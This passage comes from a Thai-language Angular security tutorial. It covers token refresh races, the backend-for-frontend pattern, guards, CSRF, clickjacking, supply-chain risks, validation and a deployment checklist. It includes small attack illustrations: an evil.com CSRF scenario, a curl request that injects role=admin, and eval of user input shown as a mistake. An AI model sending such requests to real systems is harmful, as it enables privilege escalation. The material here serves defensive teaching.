// ⚠️ ตัวแปร module-level นี้ใช้ได้ถูกต้องเฉพาะเมื่อไฟล์นี้ถูก import เป็น module instance เดียวทั้งแอป —
//    ถ้าใช้ lazy-loaded feature module ที่ bundler แยก chunk คนละไฟล์ อาจได้ refresh$ ซ้ำกันคนละตัวต่อ chunk
//    ทางที่ปลอดภัยกว่า: ย้าย state ไปไว้ใน service `providedIn: 'root'` (ดู pattern AuthService ท้าย section นี้)
let refresh$: Observable<unknown> | null = null;

export const refreshInterceptor: HttpInterceptorFn = (req, next) => {
    const auth = inject(AuthService);

    return next(req).pipe(
        catchError(err => {
            if (err.status !== 401 || req.url.includes('/auth/refresh')) {
                return throwError(() => err);
            }
            // 🔴 Race condition (= หลาย request แข่งกันทำสิ่งเดียวพร้อมกัน): 5 requests get 401 พร้อมกัน → refresh 5 ครั้ง = ผิด
            // ✅ Share refresh observable — request แรกเริ่ม refresh, ที่เหลือรอ
            if (!refresh$) {
                refresh$ = auth.refresh().pipe(
                    shareReplay({ bufferSize: 1, refCount: false }),
                    finalize(() => { refresh$ = null; }),    // reset เมื่อ refresh เสร็จ
                );
            }
            return refresh$.pipe(
                switchMap(() => next(req)),    // retry with new token
            );
        })
    );
};

สมมติเปิดหน้าแดชบอร์ดที่โหลด 5 API พร้อมกัน ทุกตัวได้ 401 ในเวลาเดียวกันเพราะ token หมดอายุพอดี — ถ้าไม่มีการป้องกัน interceptor จะยิง refresh request ทั้ง 5 ครั้ง server ที่ใช้ refresh token rotation (= ใช้ครั้งเดียวแล้วล้างทิ้ง) จะเห็นว่า token เก่าถูกใช้ซ้ำ คิดว่าโดน attack และ logout ผู้ใช้ทันที shareReplay ในโค้ดด้านบนป้องกันปัญหานี้โดยให้ request แรกเป็นคนยิง refresh เพียงครั้งเดียว แล้วแชร์ผลให้อีก 4 request รอรับพร้อมกัน:

🔴 Refresh race condition — กับดักคลาสสิคของ token refresh: ถ้าหน้าโหลดยิง 5 API พร้อมกันแล้ว token หมดอายุ → ได้ 401 ทั้ง 5 → ถ้า interceptor refresh ทุก call = refresh 5 ครั้ง ซึ่งอาจทำให้ระบบคิดว่าโดนขโมย → invalidate ทั้งหมด ผู้ใช้ถูก logout

📖 rotation = refresh token หมุนทุกครั้งที่ใช้เพื่อความปลอดภัย — ใช้แล้วจะได้ token ใหม่และ token เก่าถูก invalidate ทันที

ใช้ shareReplay queue ให้แชร์ refresh เดียวกัน

⚠️ Pattern ด้านบนไม่ครอบคลุม 100%finalize(() => { refresh$ = null; }) reset เมื่อ subscriber หมด ถ้า request ใหม่เข้ามาหลัง refresh แรกเสร็จ (refresh$ = null แล้ว) แต่ token เพิ่งหมดอายุอีกครั้ง → จะเริ่ม refresh รอบใหม่ — ปกติไม่เป็นไร แต่ถ้าต้องการ guarantee 100% (เช่น refresh token rotation strict) ให้ย้าย state ไปอยู่ใน dedicated AuthService ที่ owns refresh lifecycle แล้วใช้ BehaviorSubject<RefreshState> คุม queue เอง

🟡 ระดับ Architect — Section นี้เป็น concept ขั้นสูง มือใหม่ข้ามได้ในรอบแรก

📌 สรุปก่อนลงดีเทล: BFF คือการตั้ง backend เล็ก ๆ คั่นระหว่าง browser กับ API หลัก เพื่อให้ token ทั้งหมดอยู่ฝั่ง server เท่านั้น browser ได้แค่ session cookie — ปลอดภัยจาก XSS แต่แลกกับการเพิ่ม component หนึ่งชั้น (รายละเอียดเทคนิคด้านล่างเป็นระดับ architect — มือใหม่อ่านผ่านได้)

ภาพรวม flow ของ BFF มีหน้าตาแบบนี้:

text
browser ──[session cookie]──► BFF (รับ cookie, แปลงเป็น access token)
                                   ──[access token]──► API หลัก ──► DB

browser เห็นแค่ session cookie ตลอด — ไม่เคยเห็น JWT เลยสักตัว เปรียบเหมือนพนักงาน front desk โรงแรมที่ถือกุญแจห้องเซฟไว้เอง ลูกค้าแค่แสดงบัตรประจำตัว พนักงานก็วิ่งไปเอาของจากเซฟให้เอง ลูกค้าไม่ต้องแตะกุญแจเลย

ตัวอย่าง: เมื่อ Angular ยิง GET /api/orders ขั้นตอนคือ (1) browser ส่ง session cookie ไปที่ BFF; (2) BFF ตรวจ cookie แล้วนำ access token ที่เก็บไว้ฝั่ง server ไปยิง GET /api/orders ต่อไปยัง API หลัก; (3) API หลัก ตรวจ access token แล้วคืนข้อมูล orders; (4) BFF ส่งข้อมูลกลับให้ browser — ตลอด flow นี้ access token ไม่เคยออกนอก server เลย

🎯 Backend-for-Frontend (BFF) = pattern ที่ community ฝั่ง SPA + OAuth นิยมในปี 2026 (แนวทางตาม IETF draft "OAuth 2.0 for Browser-Based Apps" + คำแนะนำของ OWASP ASVS — ตรวจ revision ทางการก่อนนำไปอ้างใน audit):

  • ปัญหา SPA + OAuth ตรง ๆ: access token เก็บที่ฝั่ง browser (localStorage/sessionStorage/memory) → XSS-vulnerable; HttpOnly cookie ก็ใช้กับ cross-origin OAuth provider ลำบาก
  • BFF solution: backend proxy (= ตัวแทนที่รับ-ส่งคำขอแทน) เล็กๆ (Node/Spring/Go) วางหน้า API
    • SPABFF ใช้ session cookie (HttpOnly + SameSite=Strict) ไม่มี token ใน JS เลย
    • BFFAPI ใช้ access token ที่ตัวเองดูแล (rotate, revoke, encrypt at rest)
    • OAuth provider ↔ BFF ใช้ standard authz code + PKCE flow
  • ข้อดี: 100% XSS-resistant สำหรับ token, refresh logic centralized, ปิด CORS แบบ strict ได้
  • ข้อเสีย: เพิ่ม component + latency 1 hop
  • libraries: openid-client (panva — certified OIDC, นิยมใน Node production), @oslojs/oauth2 (Node, ใหม่กว่า ประเมิน maturity ก่อนใช้ใน production), Spring Security OAuth2 Client, Auth.js BFF mode

8. Authorization — Route Guards

📖 Route Guard คือฟังก์ชันที่ Angular เรียกก่อนเปลี่ยนหน้า ถ้า return false = หน้าจะไม่โหลด — ดูรายละเอียดใน [บท Routing]

Role-based Guard

typescript
import { CanActivateFn, Router } from '@angular/router';
import { inject } from '@angular/core';
// หมายเหตุ: ตัวอย่างนี้สมมติว่า User type มี roles: string[] และ permissions: string[]
// ปรับให้ตรงกับ User type ที่ backend ส่งมาในแอปจริงของคุณ
// เช่น: interface User { id: string; email: string; roles: string[]; permissions: string[] }

export function hasRole(role: string): CanActivateFn {
    return () => {
        const auth = inject(AuthService);
        const router = inject(Router);
        
        if (!auth.isLoggedIn()) {
            router.navigate(['/login']);
            return false;
        }
        
        if (!auth.user()?.roles.includes(role)) {
            router.navigate(['/forbidden']);
            return false;
        }
        
        return true;
    };
}
typescript
// routes
{ path: 'admin', canActivate: [hasRole('admin')], children: [...] }

Permission-based Directive

โค้ดด้านล่างทำสิ่งนี้: ซ่อน/แสดงปุ่มหรือ element ใด ๆ โดยอัตโนมัติตามว่า user ที่ล็อกอินอยู่มีสิทธิ์ (permission) นั้นหรือไม่ เช่นปุ่ม "ลบ" จะไม่ถูกแสดงเลยถ้า user ไม่มีสิทธิ์ user.delete

📖 Structural Directive ขั้นสูง — โค้ดด้านล่างใช้ TemplateRef, ViewContainerRef, input.required(), effect() ซึ่งเป็น concept ขั้นสูง ถ้ายังไม่ผ่านบท Directives มาให้ทำความเข้าใจ concept แต่ยังไม่ต้องเขียนเองได้

typescript
@Directive({
    selector: '[appHasPermission]',
    standalone: true
})
export class HasPermissionDirective {
    private auth = inject(AuthService);
    private tpl = inject(TemplateRef<unknown>);     // ⭐ generic param required (TS strict)
    private vcr = inject(ViewContainerRef);
    
    // ⚠️ signal input กับ structural directive รองรับใน Angular 17.1+ — ระบุ minimum version ในโปรเจกต์ของคุณ
    permission = input.required<string>({ alias: 'appHasPermission' });
    
    constructor() {
        // effect() ใน constructor — ทำงานได้แต่ถ้าเจอ ExpressionChangedAfterItHasBeenCheckedError
        // ใน dev mode ให้ลองย้ายไปใช้ใน ngOnInit แทน
        effect(() => {
            this.vcr.clear();
            if (this.auth.user()?.permissions.includes(this.permission())) {
                this.vcr.createEmbeddedView(this.tpl);
            }
        });
    }
}
html
<!-- ⚠️ ต้อง import HasPermissionDirective ใน imports ของ component ที่ใช้ด้วย -->
<button *appHasPermission="'user.delete'" (click)="delete()">Delete</button>

⚠️ Frontend permission = UX only. ทุก check ต้องทำที่ server (เพราะ JS ฝั่ง browser เปลี่ยนแปลงได้ง่าย — ผู้โจมตีสามารถข้ามการตรวจสอบ frontend ได้ด้วย DevTools หรือ curl)


9. CSRF — Cross-Site Request Forgery

CSRF คือการที่เว็บร้ายหลอกให้เบราว์เซอร์ของผู้ใช้ "แอบส่งคำสั่ง" ไปยังเว็บที่ผู้ใช้ล็อกอินอยู่ (เพราะ cookie ถูกแนบไปอัตโนมัติ) เช่นสั่งโอนเงินโดยที่ผู้ใช้ไม่รู้ตัว มาดูว่ามันทำงานยังไงและป้องกันด้วยอะไรบ้าง:

How CSRF Works

text
User logged in to bank.com (cookie stored)

User opens evil.com (in another tab)

evil.com submits form to bank.com/transfer (cookie sent)

Bank ทำเงินโอนเพราะ cookie valid → user เสียเงิน

Defenses

text
1. SameSite Cookie
   Set-Cookie: token=...; SameSite=Strict (or Lax)
   → Cookie ไม่ส่งใน cross-site request
   
2. CSRF Token (double-submit)
   - Server sets cookie XSRF-TOKEN = randomvalue
   - Client reads cookie → sends back as X-XSRF-TOKEN header
   - Server validates match
   
3. Origin/Referer Header check (server-side)

Angular built-in: withXsrfConfiguration() (ดูข้างบน)


10. Clickjacking

Clickjacking คือการที่ผู้โจมตีเอาเว็บของเราไปฝังใน iframe แล้ววางปุ่มล่องหนทับ หลอกให้ผู้ใช้คลิกสิ่งที่ไม่ได้ตั้งใจ ป้องกันได้ด้วยการสั่งห้ามไม่ให้เว็บเราถูกฝังใน iframe ผ่าน HTTP header:

text
Attacker iframes your site → overlay invisible buttons → trick user click

Defense — HTTP Header

text
X-Frame-Options: DENY              # block all iframe
X-Frame-Options: SAMEORIGIN        # allow same domain only

# Or CSP (modern)
Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';

→ ตั้งใน server config — ไม่ใช่ Angular


11. Sensitive Data — Don't Leak

ข้อมูลอ่อนไหว (token, รหัสลับ, ข้อมูลส่วนตัว) รั่วไหลได้จากที่ที่เราคาดไม่ถึง — ใส่ไว้ใน URL (ถูกเก็บใน history/log), เผลอ console.log, ปล่อย source map หลุด, หรือฝัง secret ใน bundle หลักการคือ frontend เก็บได้เฉพาะค่าที่เป็นสาธารณะเท่านั้น ส่วน secret อยู่ฝั่ง backend:

URL

typescript
// ❌ Token in URL
this.router.navigate(['/dashboard'], { 
    queryParams: { token: jwt } 
});
// URL logged in browser history, server logs, referer header

// ✅ Token in HttpOnly cookie or memory

Console Log

typescript
// ❌
console.log('user logged in:', user, 'token:', token);

// ✅
console.log('user logged in:', user.id);  // ID only

Source Map (Production)

json
// angular.json — hide source map
"production": {
    "sourceMap": false,
    
    // Or hidden (no .map link in JS, but file exists)
    "sourceMap": {
        "hidden": true,
        "scripts": true,
        "styles": true
    }
}

→ Source map สามารถ reverse compile JS กลับเป็น TS — hide ใน production

Environment Variable

typescript
// ❌ Secret in environment.ts (compiled into bundle)
export const environment = {
    apiKey: 'sk_live_abc123',          // ⚠️ public to anyone
    stripeSecret: 'sk_...'             // ⚠️ never in frontend
};
text
✅ Frontend = ONLY public keys (e.g. Stripe publishable, Google Analytics)
✅ Secrets = backend only

12. Secure Form Patterns

ฟอร์มที่รับข้อมูลอ่อนไหว (รหัสผ่าน, บัตรเครดิต, OTP) มีแนวปฏิบัติเฉพาะที่ช่วยทั้งความปลอดภัยและประสบการณ์ใช้งาน เช่น ตั้ง type="password", ใช้ autocomplete ให้ถูกชนิดเพื่อให้ password manager ทำงาน และจำกัดการพยายามล็อกอินซ้ำ ๆ:

Mask Sensitive Input

html
<input type="password" formControlName="password" autocomplete="new-password">

<!-- Show/hide toggle -->
<button type="button" (click)="showPwd.set(!showPwd())">
    {{ showPwd() ? 'Hide' : 'Show' }}
</button>
<input [type]="showPwd() ? 'text' : 'password'" formControlName="password">

Autocomplete Attributes

html
<input type="email" autocomplete="email">
<input type="password" autocomplete="current-password">     <!-- login -->
<input type="password" autocomplete="new-password">          <!-- signup -->
<input type="text" autocomplete="cc-number">                 <!-- credit card -->
<input type="text" autocomplete="one-time-code">            <!-- OTP/2FA -->

→ Browser fills correctly + password manager works

Prevent Brute Force (Client-side hint)

typescript
@Component({...})
export class LoginComponent {
    failedAttempts = signal(0);
    cooldown = signal(0);
    
    async submit() {
        if (this.cooldown() > 0) return;
        
        try {
            await this.auth.login(this.form.value);
            this.failedAttempts.set(0);
        } catch (e) {
            this.failedAttempts.update(n => n + 1);
            if (this.failedAttempts() >= 3) {
                this.cooldown.set(30);     // 30 seconds
                this.startCooldown();
            }
        }
    }
    
    private startCooldown() {
        const timer = setInterval(() => {
            this.cooldown.update(s => {
                if (s <= 1) { clearInterval(timer); return 0; }
                return s - 1;
            });
        }, 1000);
    }
}

⚠️ Real protection = server-side rate limiting (e.g. Spring Boot + Bucket4j (= library จำกัดอัตราการเรียก API ของ Spring Boot), nginx limit_req, Cloudflare rate-limiting rules) — frontend ทำได้แค่ UX hint; ดู Spring Boot บท 3 — Security + JWT สำหรับฝั่ง backend (Spring Boot คือ framework ฝั่ง backend ภาษา Java — ลิงก์นี้สำหรับคนที่ใช้ Java backend เท่านั้น คนที่ใช้ Node/Python ข้ามได้)


13. Dependency Security (Supply Chain)

แอป Angular หนึ่งตัวพึ่งพา npm package หลายร้อยถึงพันตัว (รวม dependency ซ้อน) ถ้ามีตัวใดตัวหนึ่งถูกฝังมัลแวร์ แอปเราก็พลอยติดไปด้วย นี่คือ "supply chain attack" เราป้องกันด้วยการ audit, ล็อกเวอร์ชัน, ระวัง package น่าสงสัย และลดจำนวน dependency เท่าที่จำเป็น:

text
npm install package → ไม่รู้ว่า package depend อะไรอีก
→ Total deps = ร้อย-พัน packages
→ 1 package compromised = ทั้ง app compromised

Audit

bash
npm audit                   # check known vulnerabilities
npm audit fix               # auto-fix
npm audit --production      # production deps only

# Better — Snyk
npx snyk test
npx snyk monitor            # continuous monitoring

# GitHub Dependabot — auto PR for updates

Lockfile

text
package-lock.json:
- ล็อกเวอร์ชันแน่นอน (พร้อม hash ตรวจสอบ) — exact versions (with hash)
- ป้องกันการสลับแพ็กเกจ — prevent supply chain swap

→ commit lockfile เข้า git เสมอ
→ ตั้ง CI: npm ci (not install) — ใช้ lockfile อย่างเคร่งครัด

Be Suspicious

text
⚠️ ระวัง:
- Package ที่มียอด download น้อยผิดปกติ
- Typo-squatting (= ตั้งชื่อ package คล้ายของยอดนิยมเพื่อหลอกให้ติดตั้งโดยไม่ตั้งใจ เช่น "lodahs" แทน "lodash")
- ผู้ร่วมพัฒนาหน้าใหม่ที่ไม่รู้จัก push code เข้า repo เมื่อเร็วๆ นี้
- Postinstall scripts (= script ที่รันอัตโนมัติหลัง npm install — อันตรายมากถ้าเป็น malicious)
- Obfuscated code (= โค้ดที่ถูกทำให้อ่านยากจงใจ เช่น ตัวแปรชื่อ a, b, c ทั้งหมด)

→ ตรวจก่อนติดตั้ง:
- GitHub stars + กิจกรรมล่าสุด
- ประวัติและความน่าเชื่อถือของ maintainer
- bundlephobia.com (ขนาด + deps)
- snyk.io advisor (ด้านความปลอดภัย + ความนิยม)

Minimize Dependencies

typescript
// ❌ Use moment.js (massive)
import moment from 'moment';
moment().format('YYYY-MM-DD');

// ✅ Use Intl (built-in browser API)
new Intl.DateTimeFormat('en-CA').format(new Date());

// ✅ Or date-fns (tree-shakable)
import { format } from 'date-fns';
format(new Date(), 'yyyy-MM-dd');

14. Global Error Handler

มุมความปลอดภัยของการจัดการ error คือ "อย่าเผลอเปิดเผยรายละเอียดภายในให้ผู้ใช้/ผู้โจมตีเห็น" (เช่น stack trace, ชื่อตาราง) เราจึงตั้ง ErrorHandler กลางที่ส่งรายละเอียดจริงเข้า Sentry แต่แสดงข้อความเป็นมิตรกลาง ๆ ต่อผู้ใช้

📖 Sentry คือบริการ error tracking ออนไลน์ยอดนิยม — รับรายงาน error จาก app อัตโนมัติ ต้องสมัครและตั้งค่าแยกต่างหากที่ sentry.io

bash
npm install @sentry/angular

⚠️ ตัวอย่างนี้แสดงเฉพาะจุดที่เรียก Sentry.captureException() — ก่อนใช้งานจริงต้อง Sentry.init({ dsn: '...' }) ใน main.ts (ตอน bootstrap แอป) ก่อน ไม่งั้นจะ error หรือ event หายเงียบ ๆ ดูวิธีตั้งค่าที่ docs.sentry.io

typescript
import { ErrorHandler, Injectable, inject } from '@angular/core';
import { HttpErrorResponse } from '@angular/common/http';
import { Router } from '@angular/router';
import * as Sentry from '@sentry/angular';

@Injectable()
export class GlobalErrorHandler implements ErrorHandler {
    private router = inject(Router);
    private notify = inject(NotificationService);  // NotificationService เป็น service สมมติ ใช้แทน toast/snackbar ใดก็ได้ เช่น MatSnackBar
    
    handleError(error: unknown): void {
        // 1. บันทึก error ไปยัง Sentry หรือ logging service ที่ใช้
        Sentry.captureException(error);
        
        // 2. Log locally (dev only)
        if (!environment.production) {
            console.error('Unhandled error:', error);
        }
        
        // 3. Show user-friendly message (don't leak details)
        if (error instanceof HttpErrorResponse) {
            if (error.status === 401) {
                this.router.navigate(['/login']);
                return;
            }
            this.notify.error('Network error. Please try again.');
        } else {
            this.notify.error('Something went wrong. Please refresh.');
        }
        
        // ⚠️ DON'T show raw error.message to user — may leak info
    }
}
typescript
// app.config.ts
providers: [
    { provide: ErrorHandler, useClass: GlobalErrorHandler }
]

→ จับ uncaught error ทั้ง app — log + display friendly

Error Boundary Pattern

🔴 Angular ไม่มี Error Boundary แบบ Reactwindow:error event ใช้ดัก uncaught browser error (เช่น setTimeout callback) เท่านั้น ดัก error ที่เกิดใน component lifecycle / template / signal ของ Angular ไม่ได้ — ต้องใช้ ErrorHandler provider (ดู section 14 ด้านบน) ร่วมกับ signal กลางที่ component sub-tree subscribe เอง

📌 Zoneless app (Angular 19+): behavior ของ ErrorHandler ใน zoneless mode อาจต่างจาก zone-based app — ตรวจสอบเอกสาร Angular เรื่อง error handling ใน zoneless context ก่อน deploy

typescript
// 1. service กลางที่ ErrorHandler push error เข้ามา
@Injectable({ providedIn: 'root' })
export class ErrorBus {
    error = signal<unknown>(null);
    clear() { this.error.set(null); }
}

// 2. ErrorHandler (ลงทะเบียนใน providers — ดู section 14)
@Injectable()
export class BoundaryErrorHandler implements ErrorHandler {
    private bus = inject(ErrorBus);
    handleError(err: unknown) {
        this.bus.error.set(err);
        // บันทึก error ไปยัง Sentry หรือ logging service ที่ใช้
    }
}

// 3. component แสดง fallback UI
@Component({
    selector: 'app-error-boundary',
    template: `
        @if (bus.error()) {
            <div class="error">
                <h2>Something went wrong</h2>
                <button (click)="retry()">Try again</button>
            </div>
        } @else {
            <ng-content />
        }
    `
})
export class ErrorBoundaryComponent {
    protected bus = inject(ErrorBus);
    retry() { this.bus.clear(); }
}

⚠️ Pattern นี้ยังไม่ scope ต่อ component sub-tree เหมือน React Error Boundary จริง ๆ (Angular issue #34874) — ถ้าต้องการ per-route boundary ให้ใช้ route-level error handling ผ่าน resolver/guard หรือใช้ library @ngneat/error-tailor / ngx-error-handler


15. Validation — Server-side First

หลักการที่ต้องจำให้ขึ้นใจ: validation ฝั่ง frontend มีไว้เพื่อ "ประสบการณ์ที่ดี" เท่านั้น ไม่ใช่ความปลอดภัย เพราะผู้โจมตีเลี่ยง frontend แล้วยิง API ตรง ๆ ด้วย curl ได้ ดังนั้นการตรวจสอบที่ "นับ" จริงต้องทำที่ server เสมอ (รวมถึงระวัง mass assignment):

text
🚨 กฎสำคัญ: การตรวจสอบฝั่ง Frontend = เพื่อ UX เท่านั้น. การตรวจสอบฝั่ง Server = ความปลอดภัยจริง
   (RULE: Frontend validation = UX. Server validation = security.)

❌ Trusting Frontend

html
<!-- Frontend -->
<input formControlName="email" [email]>
kotlin
// Backend just trusts it — ไม่มีการตรวจสอบเลย!
@PostMapping("/users")
fun create(@RequestBody user: User) {
    userRepo.save(user)         // ⚠️ ไม่มีการตรวจสอบเลย!
}

Attacker bypass frontend with curl:

bash
curl -X POST /api/users -d '{"email": "<script>", "role": "admin"}'
# → injected role=admin

✅ Validate Both

📌 โค้ดด้านล่างใช้ Kotlin + Spring Boot เพียงเพื่อแสดงแนวคิด backend validation เท่านั้น — ไม่ต้องเข้าใจ syntax Kotlin ก็อ่านต่อได้ แค่ดู comment (@Valid, @field:Email คือ annotation ของ Spring สำหรับตรวจสอบข้อมูลอัตโนมัติ) ถ้าใช้ backend ภาษาอื่น ให้ดูเอกสาร validation ของ framework นั้นๆ แทน

kotlin
// Backend (Spring Boot + Kotlin)
@PostMapping("/users")
fun create(@Valid @RequestBody dto: CreateUserDto): User {
    // bean validation
    return userService.create(dto)
}

class CreateUserDto(
    @field:Email
    @field:NotBlank
    val email: String,
    
    @field:Pattern(regexp = "^[a-zA-Z ]+$")
    val name: String
    
    // ⚠️ no `role` field — server assigns role
)

Mass Assignment

📖 Mass Assignment = การที่ frontend ส่ง field เกินมาจน server บันทึก field ที่ไม่ควรบันทึก (เช่น role=admin) — ป้องกันด้วยการใช้ DTO ที่ whitelist field ที่รับได้เท่านั้น

typescript
// ❌ Sending all fields
this.http.put<User>(`/api/users/${id}`, this.form.value);
// → form has hidden `role: 'admin'` injected via DevTools

// ✅ Whitelist on server
class UpdateUserDto(val name: String, val email: String)
// → backend ignore extra fields

16. HTTPS + HSTS

ทุกแอป production ต้องใช้ HTTPS เท่านั้น เพื่อเข้ารหัสข้อมูลระหว่างทาง และควรเปิด HSTS ซึ่งสั่งให้เบราว์เซอร์ "จำไว้ว่าให้ใช้ HTTPS เสมอ" ป้องกันการโดนดักก่อนถูก redirect ตั้งค่าพวกนี้ที่ฝั่งเซิร์ฟเวอร์ (เช่น Nginx):

nginx
HTTPS only (no HTTP)
HSTS — browser remembers "use HTTPS for next year"
Redirect HTTP → HTTPS

Nginx:
server {
    listen 80;
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl http2;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";
    # ...
}

Submit to HSTS Preload

hstspreload.org — browser pre-loaded list = ไม่ต้องรอ first visit


17. Browser Storage Comparison

เบราว์เซอร์มีที่เก็บข้อมูลหลายแบบ แต่ละแบบมีจุดอ่อน/จุดแข็งต่างกันด้านความปลอดภัยและความคงทน ตารางนี้เทียบให้เห็นชัด แล้วสรุปว่าข้อมูลแต่ละชนิดควรเก็บที่ไหน (และอะไรที่ห้ามเก็บฝั่ง frontend เด็ดขาด):

StorageXSS-safeSurvives reloadCross-tabCapacity
HttpOnly Cookie4 KB
localStorage5 MB
sessionStorage❌ (tab close)5 MB
IndexedDBunlimited (browser)
In-memory⚠️ (ดีกว่า localStorage — XSS ใน same origin ยังอ่านได้)❌ (refresh)unlimited

Where to Store What

text
🔐 Auth token (JWT)     → HttpOnly cookie (or in-memory + silent refresh)
📋 User preferences     → localStorage (non-sensitive)
🛒 Cart state           → localStorage / IndexedDB
📄 Form draft           → sessionStorage / localStorage
🖼️ Media cache         → IndexedDB / Service Worker cache
🔒 Sensitive data       → NEVER frontend

sessionStorage for Sensitive (Better than localStorage)

typescript
// If must store on frontend:
sessionStorage.setItem('tempToken', token);
// → cleared when tab closes

18. Service Worker / PWA Security

Service worker มีอำนาจมาก — มันอยู่ถาวรและดักทุก request ที่แอปยิงออกไปได้ ถ้าถูกเจาะหรือตั้งค่าผิด ความเสียหายร้ายแรง จุดสำคัญคืออย่า cache endpoint ที่อ่อนไหว (auth, payment) และทำงานบน HTTPS เท่านั้น:

typescript
// ⚠️ Service worker = ทำงานถาวรและเข้าถึง request ทุกตัวได้ / ถ้าถูกเจาะ = ความเสียหายร้ายแรงมาก

// Best practices:
// 1. Verify ngsw-config.json — don't cache sensitive endpoints
// 2. HTTPS only (SW only works on HTTPS)
// 3. Same-origin (default)
// 4. Sign + verify SW updates
json
// ngsw-config.json — explicit DO NOT cache
{
    "dataGroups": [
        {
            "name": "api-no-cache",
            "urls": ["/api/auth/**", "/api/me", "/api/payments/**"],
            "cacheConfig": {
                "strategy": "freshness",
                "maxAge": "0",
                "maxSize": 0,
                "timeout": "5s"
            }
        }
    ]
}

19. SSR Security

เมื่อใช้ SSR โค้ดบางส่วนรันบนเซิร์ฟเวอร์ ซึ่งเปิดช่องโจมตีแบบใหม่ — ถ้านำ input ของผู้ใช้ไปประกอบ HTML ตรง ๆ (template literal) หรือ eval จะกลายเป็น XSS/RCE (Remote Code Execution — การรันโค้ดใดก็ได้จากระยะไกล อันตรายที่สุด) ระดับเซิร์ฟเวอร์ที่อันตรายกว่าฝั่ง client หลักคือพึ่ง sanitizer ของ Angular และห้าม eval input เด็ดขาด:

typescript
// ❌ Render user input directly on server
const html = `<div>Welcome, ${userInput}</div>`;
// → XSS, server-side

// ✅ Angular SSR — Angular sanitize by default
// (use {{ }} or [property], not template literals)

Avoid Server-side Eval

typescript
// ❌
new Function('return ' + userInput);    // RCE risk
eval(userInput);

// ✅ — never eval user input

Sandbox Iframe

html
<iframe 
    [src]="trustedUrl" 
    sandbox="allow-scripts"
    referrerpolicy="no-referrer"
></iframe>

→ attribute sandbox จำกัดสิทธิ์ iframe (เข้าถึง parent ไม่ได้ ฯลฯ)


20. Security Checklist

รวมทุกเรื่องในบทนี้เป็นเช็คลิสต์เดียวที่ใช้กาก่อน deploy ได้จริง แบ่งเป็นหมวด: build/deploy, โค้ด, authentication, authorization, dependency, monitoring, network และ testing — ไล่ทีละข้อเพื่อไม่ให้พลาดจุดสำคัญ:

text
🔒 Build / Deploy
□ HTTPS + HSTS + redirect HTTP→HTTPS
□ CSP header (default-src 'self', ...)
□ X-Content-Type-Options: nosniff
□ X-Frame-Options: DENY (or frame-ancestors)
□ Strict-Transport-Security header
□ Source map hidden in production
□ No secret in environment.ts
□ Production build (ng build --configuration=production)

🔐 Code
□ Always use {{ }} or [prop] for binding (let Angular sanitize)
□ bypassSecurityTrust* only when source is trusted + documented
□ Use DOMPurify if rendering user HTML
□ Trusted Types enabled in CSP
□ No console.log of sensitive data
□ No token in URL query string

🛡️ Authentication
□ HttpOnly + Secure + SameSite cookies (preferred)
□ Or in-memory token + silent refresh
□ CSRF protection (Angular XsrfModule + server validate)
□ Login rate limiting (server)
□ Account lockout / cooldown after failures
□ MFA (2FA) for sensitive accounts
□ Logout = invalidate token server-side

🚦 Authorization
□ Role/permission check on EVERY API endpoint (server)
□ Frontend hide/show = UX only, not security
□ Use route guards for routing UX
□ Don't trust frontend role claims — verify server-side

📦 Dependencies
□ npm audit in CI — fail on high/critical
□ Dependabot enabled
□ Snyk or similar SCA tool
□ Pin exact versions in lockfile
□ npm ci (not install) in CI
□ Review postinstall scripts

📊 Monitoring
□ Sentry / Rollbar / Datadog for error tracking
□ Security event logging (login attempts, permission changes)
□ Alerting on suspicious patterns

🌐 Network
□ CORS — only allow specific origins (not *)
□ Rate limiting (per IP, per user)
□ WAF (CloudFlare / AWS WAF) for public API
□ DDoS protection

🧪 Testing
□ Penetration test (= ทดสอบเจาะระบบโดยจำลองการโจมตีจริง) (OWASP ZAP, Burp)
□ Static analysis (Semgrep, ESLint security plugin)
□ Lighthouse Security audit
□ Manual review of auth flows

21. ⚠️ Common Mistakes

ตารางนี้สรุปข้อผิดพลาดด้านความปลอดภัยที่พบบ่อยที่สุดคู่กับวิธีที่ถูกต้อง ลองไล่ดูว่าโค้ดของคุณติดข้อไหน เพราะหลายข้อเป็นช่องโหว่ที่ผู้โจมตีมองหาเป็นอย่างแรก:

[innerHTML]="userInput" (raw)Sanitize ก่อน หรือใช้ {{ }} แทน
bypassSecurityTrustHtml(userInput)ผ่าน DOMPurify ก่อน bypass
Store JWT in localStorageใช้ HttpOnly cookie
Token in URL ?token=...ใช้ Cookie หรือ Authorization header แทน
Secret in environment.tsเก็บไว้ฝั่ง Backend เท่านั้น
Frontend role check = securityต้อง check ที่ server-side เสมอ
withCredentials: false cross-originตั้งเป็น true เมื่อต้องการส่ง auth cookie
Skip CSRF tokenใช้ withXsrfConfiguration()
target="_blank" no rel="noopener"เพิ่ม rel="noopener noreferrer" (เบราว์เซอร์หลักส่วนใหญ่ใส่ noopener ให้อัตโนมัติตั้งแต่ราวปี 2021-2022 แต่ยังมีความแตกต่างระหว่างเบราว์เซอร์ — ใส่ explicit rel เสมอเพื่อความชัวร์และ legacy support)
Pin dependency ^1.0.0 (auto-update)ใช้ Lockfile + audit
console.log(user) in productionลบ log ใน production build
HTTP API in productionใช้ HTTPS only + HSTS
Inline <script> ('unsafe-inline')ใช้ nonce หรือ external script
Source map exposedซ่อนใน production

22. ตัวอย่างเต็ม — Secure Auth Setup

รวมหลักการด้านความปลอดภัยในบทนี้เป็นชุดตั้งค่า authentication ที่พร้อมใช้จริง — มีครบทั้ง CSRF config, interceptor สำหรับแนบ credentials/จัดการ 401/refresh token, error handler กลาง และ AuthService ที่ใช้ signal เก็บสถานะผู้ใช้ ใช้เป็นแม่แบบของระบบล็อกอินที่ปลอดภัยได้เลย

📌 interceptors ที่ import จาก './interceptors' (credentialsInterceptor, errorInterceptor, refreshInterceptor) ถูกแสดงโค้ดในส่วนก่อนหน้าของบทนี้ — authInterceptor เป็น skeleton ที่ต้องสร้างเพิ่มถ้าใช้ header-based JWT auth

typescript
// app.config.ts
import { ApplicationConfig, ErrorHandler } from '@angular/core';
import { 
    provideHttpClient, 
    withFetch, 
    withInterceptors, 
    withXsrfConfiguration 
} from '@angular/common/http';
import { provideRouter } from '@angular/router';
import { 
    // authInterceptor,      // สร้างเพิ่มถ้าใช้ header-based JWT (ดูตัวอย่าง localStorage section)
    errorInterceptor, 
    refreshInterceptor, 
    credentialsInterceptor 
} from './interceptors';
